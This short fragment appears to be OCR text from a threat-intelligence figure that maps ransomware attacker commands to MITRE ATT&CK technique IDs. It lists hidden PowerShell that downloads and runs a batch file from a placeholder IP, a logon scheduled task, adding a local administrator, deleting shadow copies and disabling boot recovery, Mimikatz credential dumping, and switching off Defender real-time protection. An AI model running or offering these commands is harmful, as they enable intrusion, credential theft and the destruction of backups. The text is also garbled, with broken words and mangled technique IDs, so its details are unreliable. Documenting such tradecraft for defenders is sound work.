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C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -NolLogo
-NoProfile -NonlInteractive -EncodedCommand T1059.001
SQBt -- Truncated ENCODED BLOB --

C:\WINDOWS\system32\schtasks.exe /create /tn “maliciousTask” /tr “C:\Users\

Public\malTaskt.exe” /sc onlogon LltE

powershell -WindowStyle Hidden -Command “(New-Object System.Net.WebClient).
DownloadFile( ‘http://x.x.x.x/download/Anthraxa.bat” , ‘C:\Windows\Temp\ T1105
A.bat’ );start -FilePath ‘C:\Windows\Temp\A.bat” -WindowStyle Hidden”

net localgroup administrators aadmin /add T1069.001

vssadmin delete shadows /all T1490

bcdedit /set bootstatuspolicy ignoreallfailures

bcdedit /set recoveryenabled no T1490 T1490

d:\user\my documents\ikatz.ps1 T1003

unction Invoke-Mimikatz

{-- Script Block Truncated -- 71059.001, T1003

Set-MpPreference -DisableRealtimeMonitoring Strue T1562.001
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